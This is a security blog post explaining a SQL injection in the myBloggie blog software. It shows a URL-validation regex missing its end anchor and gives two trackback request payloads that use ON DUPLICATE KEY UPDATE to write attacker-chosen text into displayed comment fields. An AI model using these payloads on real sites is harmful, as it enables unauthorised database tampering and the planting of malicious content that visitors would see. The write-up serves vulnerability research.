rv blog security TIL uses

Advanced INSERT INTO Injection by Taking Advantage of the Primary Key

security

The idea

I recently found a security issue in myBloggie. Injeting malicious code into the SQL-statement was quite simple, the only thing you had to do is to bypass the URL-validation regex by submitting a real url merged with an injection string:

// [...] functions.php - line 750-762
function validate_url($url) {
	if ( ! preg_match('#^http\\:\\/\\/[a-z0-9\-]+\.([a-z0-9\-]+\.)?[a-z]+#i', $url, $matches) ) {
		return false;
	} else {
		return true;  
	}
} 
// [...]

As you can see the regular expression defines the beginning (^), the url (http…) but misses to define the end ($) of the passed $url, thus resulting in an possible injection of malicious code:

trackback.php?foo=bar&url=http://example.com'Injetion

The whole SQL-statement with the injected string now looks something like this:

INSERT INTO ".COMMENT_TBL." SET
    post_id='$tb_id', 
    comment_subject='$title', 
    comments='$excerpt', 
    com_tstamp='$timestamp' ,
    poster = '$blog_name', 
    home='http://example.com'Injetion 
    comment_type='trackback';

I wondered how this can be exploited and thought of sending several requests and playing with the primary key.

Taking advantage of the primary key

Now we come to the tricky part.. The home-field is the next to last field so the only field we can inject some data in is the comment_type field which is not printed out. What a pity! Using some injection string like

http://example.com', comments='this is the comment text'/**

does not work because (My-)SQL does not allow to set the value of fields which were already set before (e.g. comments is set to $excerpt some lines above).
What can we do now?

Let’s take a look at the database scheme:

comment_id is the primary key. Because it is auto incremented, it is not set in the SQL-query above. Just keep this in mind!

To print out the data we want, we have to inject it into some of the fields which are printed out: comment_subject, comments, poster or home. Because we can not set the already defined fields we have to find another way to do this.

A MySQL-Function came to my mind which allows us to update content inside an INSERT INTO statement, called ON DUPLICATE KEY UPDATE :

INSERT INTO table (foo, bar) VALUES (bar, foo) ON DUPLICATE KEY UPDATE foo='update value';

MySQL definition: If you specify ON DUPLICATE KEY UPDATE, and a row is inserted that would cause a duplicate value in a UNIQUE index or PRIMARY KEY, an UPDATE of the old row is performed.

As you can see in the blog SQL-query the primary key (comment_id) is not set because it is auto incremented, so it’s not necessary to specify it. This is the point where we dive in now: We can set the comment_id because it is not already set. If we insert an comment_id which is already set and we re-send this query, ON DUPLICATE KEY UPDATE will update every field we want to. Great!
The finally sql query should now look something like this:

INSERT INTO ".COMMENT_TBL." SET
    post_id='$tb_id', 
    comment_subject='$title', 
    comments='$excerpt', 
    com_tstamp='$timestamp' ,
    poster = '$blog_name', 
    home='http://example.com', comment_id=1234 # 1 # ON DUPLICATE KEY 
    UPDATE comments='malicious code'/**
    comment_type='trackback';												# 2 #

In 1 we define the primary key, in 2 we set the field which should be updated of an duplicated primary key occurs.
The last thing we have to do now is

Example workflow:

All we have to do is sent two request, one by one, to get the duplicate primary key thus resulting in an update of the row:

Step 1

url=http://example.com’, comment_id=1234/**

Step 2

url=http://example.com’, comment_id=1234 ON DUPLICATE KEY UPDATE comments=‘malicious code’/**

Well done, we successfully injected our string now into a printed field. Of course you can choose whatever field you want to for updating.

See Also